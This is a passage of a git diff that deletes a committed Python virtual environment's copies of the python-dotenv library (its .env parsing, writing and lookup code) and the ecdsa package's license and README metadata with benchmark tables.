"always", - export: bool = False, - encoding: Optional[str] = "utf-8", - follow_symlinks: bool = False, -) -> Tuple[Optional[bool], str, str]: - """ - Adds or Updates a key/value to the given .env - - The target .env file is created if it doesn't exist. - - This function doesn't follow symlinks by default, to avoid accidentally - modifying a file at a potentially untrusted path. If you don't need this - protection and need symlinks to be followed, use `follow_symlinks`. - """ - if quote_mode not in ("always", "auto", "never"): - raise ValueError(f"Unknown quote_mode: {quote_mode}") - - quote = quote_mode == "always" or ( - quote_mode == "auto" and not value_to_set.isalnum() - ) - - if quote: - # The single-quoted-value parser decodes `\\` and `\'`, so both have to - # be escaped here for the value to survive a write/read round-trip. - # Backslashes first, otherwise the backslash added by the quote - # escaping would be escaped in turn. - escaped = value_to_set.replace("\\", "\\\\").replace("'", "\\'") - value_out = f"'{escaped}'" - else: - value_out = value_to_set - if export: - line_out = f"export {key_to_set}={value_out}\n" - else: - line_out = f"{key_to_set}={value_out}\n" - - with rewrite(dotenv_path, encoding=encoding, follow_symlinks=follow_symlinks) as ( - source, - dest, - ): - replaced = False - missing_newline = False - for mapping in with_warn_for_invalid_lines(parse_stream(source)): - if mapping.key == key_to_set: - dest.write(line_out) - replaced = True - else: - dest.write(mapping.original.string) - missing_newline = not mapping.original.string.endswith("\n") - if not replaced: - if missing_newline: - dest.write("\n") - dest.write(line_out) - - return True, key_to_set, value_to_set - - -def unset_key( - dotenv_path: StrPath, - key_to_unset: str, - quote_mode: str = "always", - encoding: Optional[str] = "utf-8", - follow_symlinks: bool = False, -) -> Tuple[Optional[bool], str]: - """ - Removes a given key from the given `.env` file. - - If the .env path given doesn't exist, fails. - If the given key doesn't exist in the .env, fails. - - This function doesn't follow symlinks by default, to avoid accidentally - modifying a file at a potentially untrusted path. If you don't need this - protection and need symlinks to be followed, use `follow_symlinks`. - """ - if not os.path.exists(dotenv_path): - logger.warning("Can't delete from %s - it doesn't exist.", dotenv_path) - return None, key_to_unset - - removed = False - with rewrite(dotenv_path, encoding=encoding, follow_symlinks=follow_symlinks) as ( - source, - dest, - ): - for mapping in with_warn_for_invalid_lines(parse_stream(source)): - if mapping.key == key_to_unset: - removed = True - else: - dest.write(mapping.original.string) - - if not removed: - logger.warning( - "Key %s not removed from %s - key doesn't exist.", key_to_unset, dotenv_path - ) - return None, key_to_unset - - return removed, key_to_unset - - -def resolve_variables( - values: Iterable[Tuple[str, Optional[str]]], - override: bool, -) -> Mapping[str, Optional[str]]: - new_values: Dict[str, Optional[str]] = {} - - for name, value in values: - if value is None: - result = None - else: - atoms = parse_variables(value) - env: Dict[str, Optional[str]] = {} - if override: - env.update(os.environ) # type: ignore - env.update(new_values) - else: - env.update(new_values) - env.update(os.environ) # type: ignore - result = "".join(atom.resolve(env) for atom in atoms) - - new_values[name] = result - - return new_values - - -def _walk_to_root(path: str) -> Iterator[str]: - """ - Yield directories starting from the given directory up to the root - """ - if not os.path.exists(path): - raise IOError("Starting path not found") - - if os.path.isfile(path): - path = os.path.dirname(path) - - last_dir = None - current_dir = os.path.abspath(path) - while last_dir != current_dir: - yield current_dir - parent_dir = os.path.abspath(os.path.join(current_dir, os.path.pardir)) - last_dir, current_dir = current_dir, parent_dir - - -def find_dotenv( - filename: str = ".env", - raise_error_if_not_found: bool = False, - usecwd: bool = False, -) -> str: - """ - Search in increasingly higher folders for the given file - - Returns path to the file if found, or an empty string otherwise - """ - - def _is_interactive(): - """Decide whether this is running in a REPL or IPython notebook""" - if hasattr(sys, "ps1") or hasattr(sys, "ps2"): - return True - try: - main = __import__("__main__", None, None, fromlist=["__file__"]) - except ModuleNotFoundError: - return False - return not hasattr(main, "__file__") - - def _is_debugger(): - return sys.gettrace() is not None - - if usecwd or _is_interactive() or _is_debugger() or getattr(sys, "frozen", False): - # Should work without __file__, e.g. in REPL or IPython notebook. - path = os.getcwd() - else: - # will work for .py files - frame = sys._getframe() - current_file = __file__ - - while frame.f_code.co_filename == current_file or not os.path.exists( - frame.f_code.co_filename - ): - assert frame.f_back is not None - frame = frame.f_back - frame_filename = frame.f_code.co_filename - path = os.path.dirname(os.path.abspath(frame_filename)) - - for dirname in _walk_to_root(path): - check_path = os.path.join(dirname, filename) - if _is_file_or_fifo(check_path): - return check_path - - if raise_error_if_not_found: - raise IOError("File not found") - - return "" - - -def load_dotenv( - dotenv_path: Optional[StrPath] = None, - stream: Optional[IO[str]] = None, - verbose: bool = False, - override: bool = False, - interpolate: bool = True, - encoding: Optional[str] = "utf-8", -) -> bool: - """Parse a .env file and then load all the variables found as environment variables. - - Parameters: - dotenv_path: Absolute or relative path to .env file. - stream: Text stream (such as `io.StringIO`) with .env content, used if - `dotenv_path` is `None`. - verbose: Whether to output a warning the .env file is missing. - override: Whether to override the system environment variables with the variables - from the `.env` file. - interpolate: Whether to interpolate variables using POSIX variable expansion. - encoding: Encoding to be used to read the file. - Returns: - Bool: True if at least one environment variable is set else False - - If both `dotenv_path` and `stream` are `None`, `find_dotenv()` is used to find the - .env file with its default parameters. If you need to change the default parameters - of `find_dotenv()`, you can explicitly call `find_dotenv()` and pass the result - to this function as `dotenv_path`. - - If the environment variable `PYTHON_DOTENV_DISABLED` is set to a truthy value, - .env loading is disabled. - """ - if _load_dotenv_disabled(): - logger.debug( - "python-dotenv: .env loading disabled by PYTHON_DOTENV_DISABLED environment variable" - ) - return False - - if dotenv_path is None and stream is None: - dotenv_path = find_dotenv() - - dotenv = DotEnv( - dotenv_path=dotenv_path, - stream=stream, - verbose=verbose, - interpolate=interpolate, - override=override, - encoding=encoding, - ) - return dotenv.set_as_environment_variables() - - -def dotenv_values( - dotenv_path: Optional[StrPath] = None, - stream: Optional[IO[str]] = None, - verbose: bool = False, - interpolate: bool = True, - encoding: Optional[str] = "utf-8", -) -> Dict[str, Optional[str]]: - """ - Parse a .env file and return its content as a dict. - - The returned dict will have `None` values for keys without values in the .env file. - For example, `foo=bar` results in `{"foo": "bar"}` whereas `foo` alone results in - `{"foo": None}` - - Parameters: - dotenv_path: Absolute or relative path to the .env file. - stream: `StringIO` object with .env content, used if `dotenv_path` is `None`. - verbose: Whether to output a warning if the .env file is missing. - interpolate: Whether to interpolate variables using POSIX variable expansion. - encoding: Encoding to be used to read the file. - - If both `dotenv_path` and `stream` are `None`, `find_dotenv()` is used to find the - .env file. - """ - if dotenv_path is None and stream is None: - dotenv_path = find_dotenv() - - return DotEnv( - dotenv_path=dotenv_path, - stream=stream, - verbose=verbose, - interpolate=interpolate, - override=True, - encoding=encoding, - ).dict() - - -def _is_file_or_fifo(path: StrPath) -> bool: - """ - Return True if `path` exists and is either a regular file or a FIFO. - """ - if os.path.isfile(path): - return True - - try: - st = os.stat(path) - except (FileNotFoundError, OSError): - return False - - return stat.S_ISFIFO(st.st_mode) diff --git a/venv/Lib/site-packages/dotenv/parser.py b/venv/Lib/site-packages/dotenv/parser.py deleted file mode 100644 index 02648ab03c977e38dca7987ed64196ee162b3907..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dotenv/parser.py +++ /dev/null @@ -1,184 +0,0 @@ -import codecs -import re -from typing import ( - IO, - Iterator, - Match, - NamedTuple, - Optional, - Pattern, - Sequence, -) - - -def make_regex(string: str, extra_flags: int = 0) -> Pattern[str]: - return re.compile(string, re.UNICODE | extra_flags) - - -_newline = make_regex(r"(\r\n|\n|\r)") -_multiline_whitespace = make_regex(r"\s*", extra_flags=re.MULTILINE) -_whitespace = make_regex(r"[^\S\r\n]*") -_export = make_regex(r"(?:export[^\S\r\n]+)?") -_single_quoted_key = make_regex(r"'([^']+)'") -_unquoted_key = make_regex(r"([^=\#\s]+)") -_equal_sign = make_regex(r"(=[^\S\r\n]*)") -# A backslash always escapes the character after it, so that an escaped -# backslash (`\\`) is not mistaken for the start of an escaped quote. -_single_quoted_value = make_regex(r"'((?:\\.|[^'\\])*)'", extra_flags=re.DOTALL) -_double_quoted_value = make_regex(r'"((?:\\.|[^"\\])*)"', extra_flags=re.DOTALL) -_unquoted_value = make_regex(r"([^\r\n]*)") -_comment = make_regex(r"(?:[^\S\r\n]*#[^\r\n]*)?") -_end_of_line = make_regex(r"[^\S\r\n]*(?:\r\n|\n|\r|$)") -_rest_of_line = make_regex(r"[^\r\n]*(?:\r|\n|\r\n)?") -_double_quote_escapes = make_regex(r"\\[\\'\"abfnrtv]") -_single_quote_escapes = make_regex(r"\\[\\']") - - -class Original(NamedTuple): - string: str - line: int - - -class Binding(NamedTuple): - key: Optional[str] - value: Optional[str] - original: Original - error: bool - - -class Position: - def __init__(self, chars: int, line: int) -> None: - self.chars = chars - self.line = line - - @classmethod - def start(cls) -> "Position": - return cls(chars=0, line=1) - - def set(self, other: "Position") -> None: - self.chars = other.chars - self.line = other.line - - def advance(self, string: str) -> None: - self.chars += len(string) - self.line += len(re.findall(_newline, string)) - - -class Error(Exception): - pass - - -class Reader: - def __init__(self, stream: IO[str]) -> None: - self.string = stream.read().removeprefix("\ufeff") - self.position = Position.start() - self.mark = Position.start() - - def has_next(self) -> bool: - return self.position.chars < len(self.string) - - def set_mark(self) -> None: - self.mark.set(self.position) - - def get_marked(self) -> Original: - return Original( - string=self.string[self.mark.chars : self.position.chars], - line=self.mark.line, - ) - - def peek(self, count: int) -> str: - return self.string[self.position.chars : self.position.chars + count] - - def read(self, count: int) -> str: - result = self.string[self.position.chars : self.position.chars + count] - if len(result) < count: - raise Error("read: End of string") - self.position.advance(result) - return result - - def read_regex(self, regex: Pattern[str]) -> Sequence[str]: - match = regex.match(self.string, self.position.chars) - if match is None: - raise Error("read_regex: Pattern not found") - self.position.advance(self.string[match.start() : match.end()]) - return match.groups() - - -def decode_escapes(regex: Pattern[str], string: str) -> str: - def decode_match(match: Match[str]) -> str: - return codecs.decode(match.group(0), "unicode-escape") # type: ignore - - return regex.sub(decode_match, string) - - -def parse_key(reader: Reader) -> Optional[str]: - char = reader.peek(1) - if char == "#": - return None - elif char == "'": - (key,) = reader.read_regex(_single_quoted_key) - else: - (key,) = reader.read_regex(_unquoted_key) - return key - - -def parse_unquoted_value(reader: Reader) -> str: - (part,) = reader.read_regex(_unquoted_value) - return re.sub(r"\s+#.*", "", part).rstrip() - - -def parse_value(reader: Reader) -> str: - char = reader.peek(1) - if char == "'": - (value,) = reader.read_regex(_single_quoted_value) - return decode_escapes(_single_quote_escapes, value) - elif char == '"': - (value,) = reader.read_regex(_double_quoted_value) - return decode_escapes(_double_quote_escapes, value) - elif char in ("", "\n", "\r"): - return "" - else: - return parse_unquoted_value(reader) - - -def parse_binding(reader: Reader) -> Binding: - reader.set_mark() - try: - reader.read_regex(_multiline_whitespace) - if not reader.has_next(): - return Binding( - key=None, - value=None, - original=reader.get_marked(), - error=False, - ) - reader.read_regex(_export) - key = parse_key(reader) - reader.read_regex(_whitespace) - if reader.peek(1) == "=": - reader.read_regex(_equal_sign) - value: Optional[str] = parse_value(reader) - else: - value = None - reader.read_regex(_comment) - reader.read_regex(_end_of_line) - return Binding( - key=key, - value=value, - original=reader.get_marked(), - error=False, - ) - except Error: - reader.read_regex(_rest_of_line) - return Binding( - key=None, - value=None, - original=reader.get_marked(), - error=True, - ) - - -def parse_stream(stream: IO[str]) -> Iterator[Binding]: - reader = Reader(stream) - while reader.has_next(): - yield parse_binding(reader) diff --git a/venv/Lib/site-packages/dotenv/py.typed b/venv/Lib/site-packages/dotenv/py.typed deleted file mode 100644 index 7632ecf77545c5e5501cb3fc5719df0761104ca2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dotenv/py.typed +++ /dev/null @@ -1 +0,0 @@ -# Marker file for PEP 561 diff --git a/venv/Lib/site-packages/dotenv/variables.py b/venv/Lib/site-packages/dotenv/variables.py deleted file mode 100644 index 667f2f26ff2182ecdfc5b809ba97a6cf1d1be13a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dotenv/variables.py +++ /dev/null @@ -1,86 +0,0 @@ -import re -from abc import ABCMeta, abstractmethod -from typing import Iterator, Mapping, Optional, Pattern - -_posix_variable: Pattern[str] = re.compile( - r""" - \$\{ - (?P[^\}:]*) - (?::- - (?P[^\}]*) - )? - \} - """, - re.VERBOSE, -) - - -class Atom(metaclass=ABCMeta): - def __ne__(self, other: object) -> bool: - result = self.__eq__(other) - if result is NotImplemented: - return NotImplemented - return not result - - @abstractmethod - def resolve(self, env: Mapping[str, Optional[str]]) -> str: ... - - -class Literal(Atom): - def __init__(self, value: str) -> None: - self.value = value - - def __repr__(self) -> str: - return f"Literal(value={self.value})" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, self.__class__): - return NotImplemented - return self.value == other.value - - def __hash__(self) -> int: - return hash((self.__class__, self.value)) - - def resolve(self, env: Mapping[str, Optional[str]]) -> str: - return self.value - - -class Variable(Atom): - def __init__(self, name: str, default: Optional[str]) -> None: - self.name = name - self.default = default - - def __repr__(self) -> str: - return f"Variable(name={self.name}, default={self.default})" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, self.__class__): - return NotImplemented - return (self.name, self.default) == (other.name, other.default) - - def __hash__(self) -> int: - return hash((self.__class__, self.name, self.default)) - - def resolve(self, env: Mapping[str, Optional[str]]) -> str: - default = self.default if self.default is not None else "" - result = env.get(self.name, default) - return result if result is not None else "" - - -def parse_variables(value: str) -> Iterator[Atom]: - cursor = 0 - - for match in _posix_variable.finditer(value): - (start, end) = match.span() - name = match["name"] - default = match["default"] - - if start > cursor: - yield Literal(value=value[cursor:start]) - - yield Variable(name=name, default=default) - cursor = end - - length = len(value) - if cursor < length: - yield Literal(value=value[cursor:length]) diff --git a/venv/Lib/site-packages/dotenv/version.py b/venv/Lib/site-packages/dotenv/version.py deleted file mode 100644 index 10aa336ce071b5ebf71e8545a55b72f3c5b661a3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dotenv/version.py +++ /dev/null @@ -1 +0,0 @@ -__version__ = "1.2.3" diff --git a/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/INSTALLER b/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/LICENSE b/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/LICENSE deleted file mode 100644 index 474479a2cef669931af24be2a06ef21ba98ae358..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/LICENSE +++ /dev/null @@ -1,24 +0,0 @@ -"python-ecdsa" Copyright (c) 2010 Brian Warner - -Portions written in 2005 by Peter Pearson and placed in the public domain. - -Permission is hereby granted, free of charge, to any person -obtaining a copy of this software and associated documentation -files (the "Software"), to deal in the Software without -restriction, including without limitation the rights to use, -copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the -Software is furnished to do so, subject to the following -conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES -OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT -HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, -WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -OTHER DEALINGS IN THE SOFTWARE. diff --git a/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/METADATA b/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/METADATA deleted file mode 100644 index 18d835e1c7286b27d758c7f966ea336bfe47144f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa-0.19.2.dist-info/METADATA +++ /dev/null @@ -1,671 +0,0 @@ -Metadata-Version: 2.1 -Name: ecdsa -Version: 0.19.2 -Summary: ECDSA cryptographic signature library (pure python) -Home-page: http://github.com/tlsfuzzer/python-ecdsa -Author: Brian Warner -Author-email: warner@lothar.com -License: MIT -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 2 -Classifier: Programming Language :: Python :: 2.6 -Classifier: Programming Language :: Python :: 2.7 -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.6 -Classifier: Programming Language :: Python :: 3.7 -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Requires-Python: >=2.6, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.* -Description-Content-Type: text/markdown -License-File: LICENSE -Requires-Dist: six>=1.9.0 -Provides-Extra: gmpy -Requires-Dist: gmpy; extra == "gmpy" -Provides-Extra: gmpy2 -Requires-Dist: gmpy2; extra == "gmpy2" - -# Pure-Python ECDSA and ECDH - -[![GitHub CI](https://github.com/tlsfuzzer/python-ecdsa/actions/workflows/ci.yml/badge.svg)](https://github.com/tlsfuzzer/python-ecdsa/actions/workflows/ci.yml) -[![Documentation Status](https://readthedocs.org/projects/ecdsa/badge/?version=latest)](https://ecdsa.readthedocs.io/en/latest/?badge=latest) -[![Coverage Status](https://coveralls.io/repos/github/tlsfuzzer/python-ecdsa/badge.svg?branch=master)](https://coveralls.io/github/tlsfuzzer/python-ecdsa?branch=master) -![condition coverage](https://img.shields.io/endpoint?url=https://gist.githubusercontent.com/tomato42/9b6ca1f3410207fbeca785a178781651/raw/python-ecdsa-condition-coverage.json) -![mutation score](https://img.shields.io/endpoint?url=https://gist.githubusercontent.com/tomato42/9b6ca1f3410207fbeca785a178781651/raw/python-ecdsa-mutation-score.json) -[![CodeQL](https://github.com/tlsfuzzer/python-ecdsa/actions/workflows/codeql.yml/badge.svg)](https://github.com/tlsfuzzer/python-ecdsa/actions/workflows/codeql.yml) -[![Latest Version](https://img.shields.io/pypi/v/ecdsa.svg?style=flat)](https://pypi.python.org/pypi/ecdsa/) -![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg?style=flat) - - -This is an easy-to-use implementation of ECC (Elliptic Curve Cryptography) -with support for ECDSA (Elliptic Curve Digital Signature Algorithm), -EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH -(Elliptic Curve Diffie-Hellman), implemented purely in Python, released under -the MIT license. With this library, you can quickly create key pairs (signing -key and verifying key), sign messages, and verify the signatures. You can -also agree on a shared secret key based on exchanged public keys. -The keys and signatures are very short, making them easy to handle and -incorporate into other protocols. - -**NOTE: This library should not be used in production settings, see [Security](#Security) for more details.** - -## Features - -This library provides key generation, signing, verifying, and shared secret -derivation for five -popular NIST "Suite B" GF(p) (_prime field_) curves, with key lengths of 192, -224, 256, 384, and 521 bits. The "short names" for these curves, as known by -the OpenSSL tool (`openssl ecparam -list_curves`), are: `prime192v1`, -`secp224r1`, `prime256v1`, `secp384r1`, and `secp521r1`. It includes the -256-bit curve `secp256k1` used by Bitcoin. There is also support for the -regular (non-twisted) variants of Brainpool curves from 160 to 512 bits. The -"short names" of those curves are: `brainpoolP160r1`, `brainpoolP192r1`, -`brainpoolP224r1`, `brainpoolP256r1`, `brainpoolP320r1`, `brainpoolP384r1`, -`brainpoolP512r1`. Few of the small curves from SEC standard are also -included (mainly to speed-up testing of the library), those are: -`secp112r1`, `secp112r2`, `secp128r1`, and `secp160r1`. -Key generation, siging and verifying is also supported for Ed25519 and -Ed448 curves. -No other curves are included, but it is not too hard to add support for more -curves over prime fields. - -## Dependencies - -This library uses only Python and the 'six' package. It is compatible with -Python 2.6, 2.7, and 3.6+. It also supports execution on alternative -implementations like pypy and pypy3. - -If `gmpy2` or `gmpy` is installed, they will be used for faster arithmetic. -Either of them can be installed after this library is installed, -`python-ecdsa` will detect their presence on start-up and use them -automatically. -You should prefer `gmpy2` on Python3 for optimal performance. - -To run the OpenSSL compatibility tests, the 'openssl' tool must be in your -`PATH`. This release has been tested successfully against OpenSSL 0.9.8o, -1.0.0a, 1.0.2f, 1.1.1d and 3.0.1 (among others). - - -## Installation - -This library is available on PyPI, it's recommended to install it using `pip`: - -``` -pip install ecdsa -``` - -In case higher performance is wanted and using native code is not a problem, -it's possible to specify installation together with `gmpy2`: - -``` -pip install ecdsa[gmpy2] -``` - -or (slower, legacy option): -``` -pip install ecdsa[gmpy] -``` - -## Speed - -The following table shows how long this library takes to generate key pairs -(`keygen`), to sign data (`sign`), to verify those signatures (`verify`), -to derive a shared secret (`ecdh`), and -to verify the signatures with no key-specific precomputation (`no PC verify`). -All those values are in seconds. -For convenience, the inverses of those values are also provided: -how many keys per second can be generated (`keygen/s`), how many signatures -can be made per second (`sign/s`), how many signatures can be verified -per second (`verify/s`), how many shared secrets can be derived per second -(`ecdh/s`), and how many signatures with no key specific -precomputation can be verified per second (`no PC verify/s`). The size of raw -signature (generally the smallest -the way a signature can be encoded) is also provided in the `siglen` column. -Use `tox -e speed` to generate this table on your own computer. -On an Intel Core i7 4790K @ 4.0GHz I'm getting the following performance: - -``` - siglen keygen keygen/s sign sign/s verify verify/s no PC verify no PC verify/s - NIST192p: 48 0.00032s 3134.06 0.00033s 2985.53 0.00063s 1598.36 0.00129s 774.43 - NIST224p: 56 0.00040s 2469.24 0.00042s 2367.88 0.00081s 1233.41 0.00170s 586.66 - NIST256p: 64 0.00051s 1952.73 0.00054s 1867.80 0.00098s 1021.86 0.00212s 471.27 - NIST384p: 96 0.00107s 935.92 0.00111s 904.23 0.00203s 491.77 0.00446s 224.00 - NIST521p: 132 0.00210s 475.52 0.00215s 464.16 0.00398s 251.28 0.00874s 114.39 - SECP256k1: 64 0.00052s 1921.54 0.00054s 1847.49 0.00105s 948.68 0.00210s 477.01 - BRAINPOOLP160r1: 40 0.00025s 4003.88 0.00026s 3845.12 0.00053s 1893.93 0.00105s 949.92 - BRAINPOOLP192r1: 48 0.00033s 3043.97 0.00034s 2975.98 0.00063s 1581.50 0.00135s 742.29 - BRAINPOOLP224r1: 56 0.00041s 2436.44 0.00043s 2315.51 0.00078s 1278.49 0.00180s 556.16 - BRAINPOOLP256r1: 64 0.00053s 1892.49 0.00054s 1846.24 0.00114s 875.64 0.00229s 437.25 - BRAINPOOLP320r1: 80 0.00073s 1361.26 0.00076s 1309.25 0.00143s 699.29 0.00322s 310.49 - BRAINPOOLP384r1: 96 0.00107s 931.29 0.00111s 901.80 0.00230s 434.19 0.00476s 210.20 - BRAINPOOLP512r1: 128 0.00207s 483.41 0.00212s 471.42 0.00425s 235.43 0.00912s 109.61 - SECP112r1: 28 0.00015s 6672.53 0.00016s 6440.34 0.00031s 3265.41 0.00056s 1774.20 - SECP112r2: 28 0.00015s 6697.11 0.00015s 6479.98 0.00028s 3524.72 0.00058s 1716.16 - SECP128r1: 32 0.00018s 5497.65 0.00019s 5272.89 0.00036s 2747.39 0.00072s 1396.16 - SECP160r1: 42 0.00025s 3949.32 0.00026s 3894.45 0.00046s 2153.85 0.00102s 985.07 - Ed25519: 64 0.00076s 1324.48 0.00042s 2405.01 0.00109s 918.05 0.00344s 290.50 - Ed448: 114 0.00176s 569.53 0.00115s 870.94 0.00282s 355.04 0.01024s 97.69 - - ecdh ecdh/s - NIST192p: 0.00104s 964.89 - NIST224p: 0.00134s 748.63 - NIST256p: 0.00170s 587.08 - NIST384p: 0.00352s 283.90 - NIST521p: 0.00717s 139.51 - SECP256k1: 0.00154s 648.40 - BRAINPOOLP160r1: 0.00082s 1220.70 - BRAINPOOLP192r1: 0.00105s 956.75 - BRAINPOOLP224r1: 0.00136s 734.52 - BRAINPOOLP256r1: 0.00178s 563.32 - BRAINPOOLP320r1: 0.00252s 397.23 - BRAINPOOLP384r1: 0.00376s 266.27 - BRAINPOOLP512r1: 0.00733s 136.35 - SECP112r1: 0.00046s 2180.40 - SECP112r2: 0.00045s 2229.14 - SECP128r1: 0.00054s 1868.15 - SECP160r1: 0.00080s 1243.98 -``` - -To test performance with `gmpy2` loaded, use `tox -e speedgmpy2`. -On the same machine I'm getting the following performance with `gmpy2`: -``` - siglen keygen keygen/s sign sign/s verify verify/s no PC verify no PC verify/s - NIST192p: 48 0.00017s 5933.40 0.00017s 5751.70 0.00032s 3125.28 0.00067s 1502.41 - NIST224p: 56 0.00021s 4782.87 0.00022s 4610.05 0.00040s 2487.04 0.00089s 1126.90 - NIST256p: 64 0.00023s 4263.98 0.00024s 4125.16 0.00045s 2200.88 0.00098s 1016.82 - NIST384p: 96 0.00041s 2449.54 0.00042s 2399.96 0.00083s 1210.57 0.00172s 581.43 - NIST521p: 132 0.00071s 1416.07 0.00072s 1389.81 0.00144s 692.93 0.00312s 320.40 - SECP256k1: 64 0.00024s 4245.05 0.00024s 4122.09 0.00045s 2206.40 0.00094s 1068.32 - BRAINPOOLP160r1: 40 0.00014s 6939.17 0.00015s 6681.55 0.00029s 3452.43 0.00057s 1769.81 - BRAINPOOLP192r1: 48 0.00017s 5920.05 0.00017s 5774.36 0.00034s 2979.00 0.00069s 1453.19 - BRAINPOOLP224r1: 56 0.00021s 4732.12 0.00022s 4622.65 0.00041s 2422.47 0.00087s 1149.87 - BRAINPOOLP256r1: 64 0.00024s 4233.02 0.00024s 4115.20 0.00047s 2143.27 0.00098s 1015.60 - BRAINPOOLP320r1: 80 0.00032s 3162.38 0.00032s 3077.62 0.00063s 1598.83 0.00136s 737.34 - BRAINPOOLP384r1: 96 0.00041s 2436.88 0.00042s 2395.62 0.00083s 1202.68 0.00178s 562.85 - BRAINPOOLP512r1: 128 0.00063s 1587.60 0.00064s 1558.83 0.00125s 799.96 0.00281s 355.83 - SECP112r1: 28 0.00009s 11118.66 0.00009s 10775.48 0.00018s 5456.00 0.00033s 3020.83 - SECP112r2: 28 0.00009s 11322.97 0.00009s 10857.71 0.00017s 5748.77 0.00032s 3094.28 - SECP128r1: 32 0.00010s 10078.39 0.00010s 9665.27 0.00019s 5200.58 0.00036s 2760.88 - SECP160r1: 42 0.00015s 6875.51 0.00015s 6647.35 0.00029s 3422.41 0.00057s 1768.35 - Ed25519: 64 0.00030s 3322.56 0.00018s 5568.63 0.00046s 2165.35 0.00153s 654.02 - Ed448: 114 0.00060s 1680.53 0.00039s 2567.40 0.00096s 1036.67 0.00350s 285.62 - - ecdh ecdh/s - NIST192p: 0.00050s 1985.70 - NIST224p: 0.00066s 1524.16 - NIST256p: 0.00071s 1413.07 - NIST384p: 0.00127s 788.89 - NIST521p: 0.00230s 434.85 - SECP256k1: 0.00071s 1409.95 - BRAINPOOLP160r1: 0.00042s 2374.65 - BRAINPOOLP192r1: 0.00051s 1960.01 - BRAINPOOLP224r1: 0.00066s 1518.37 - BRAINPOOLP256r1: 0.00071s 1399.90 - BRAINPOOLP320r1: 0.00100s 997.21 - BRAINPOOLP384r1: 0.00129s 777.51 - BRAINPOOLP512r1: 0.00210s 475.99 - SECP112r1: 0.00022s 4457.70 - SECP112r2: 0.00024s 4252.33 - SECP128r1: 0.00028s 3589.31 - SECP160r1: 0.00043s 2305.02 -``` - -(there's also `gmpy` version, execute it using `tox -e speedgmpy`) - -For comparison, a highly optimised implementation (including curve-specific -assembly for some curves), like the one in OpenSSL 1.1.1d, provides the -following performance numbers on the same machine. -Run `openssl speed ecdsa` and `openssl speed ecdh` to reproduce it: -``` - sign verify sign/s verify/s - 192 bits ecdsa (nistp192) 0.0002s 0.0002s 4785.6 5380.7 - 224 bits ecdsa (nistp224) 0.0000s 0.0001s 22475.6 9822.0 - 256 bits ecdsa (nistp256) 0.0000s 0.0001s 45069.6 14166.6 - 384 bits ecdsa (nistp384) 0.0008s 0.0006s 1265.6 1648.1 - 521 bits ecdsa (nistp521) 0.0003s 0.0005s 3753.1 1819.5 - 256 bits ecdsa (brainpoolP256r1) 0.0003s 0.0003s 2983.5 3333.2 - 384 bits ecdsa (brainpoolP384r1) 0.0008s 0.0007s 1258.8 1528.1 - 512 bits ecdsa (brainpoolP512r1) 0.0015s 0.0012s 675.1 860.1 - - sign verify sign/s verify/s - 253 bits EdDSA (Ed25519) 0.0000s 0.0001s 28217.9 10897.7 - 456 bits EdDSA (Ed448) 0.0003s 0.0005s 3926.5 2147.7 - - op op/s - 192 bits ecdh (nistp192) 0.0002s 4853.4 - 224 bits ecdh (nistp224) 0.0001s 15252.1 - 256 bits ecdh (nistp256) 0.0001s 18436.3 - 384 bits ecdh (nistp384) 0.0008s 1292.7 - 521 bits ecdh (nistp521) 0.0003s 2884.7 - 256 bits ecdh (brainpoolP256r1) 0.0003s 3066.5 - 384 bits ecdh (brainpoolP384r1) 0.0008s 1298.0 - 512 bits ecdh (brainpoolP512r1) 0.0014s 694.8 -``` - -Keys and signature can be serialized in different ways (see Usage, below). -For a NIST192p key, the three basic representations require strings of the -following lengths (in bytes): - - to_string: signkey= 24, verifykey= 48, signature=48 - compressed: signkey=n/a, verifykey= 25, signature=n/a - DER: signkey=106, verifykey= 80, signature=55 - PEM: signkey=278, verifykey=162, (no support for PEM signatures) - -## History - -In 2006, Peter Pearson announced his pure-python implementation of ECDSA in a -[message to sci.crypt][1], available from his [download site][2]. In 2010, -Brian Warner wrote a wrapper around this code, to make it a bit easier and -safer to use. In 2020, Hubert Kario included an implementation of elliptic -curve cryptography that uses Jacobian coordinates internally, improving -performance about 20-fold. You are looking at the README for this wrapper. - -[1]: http://www.derkeiler.com/Newsgroups/sci.crypt/2006-01/msg00651.html -[2]: 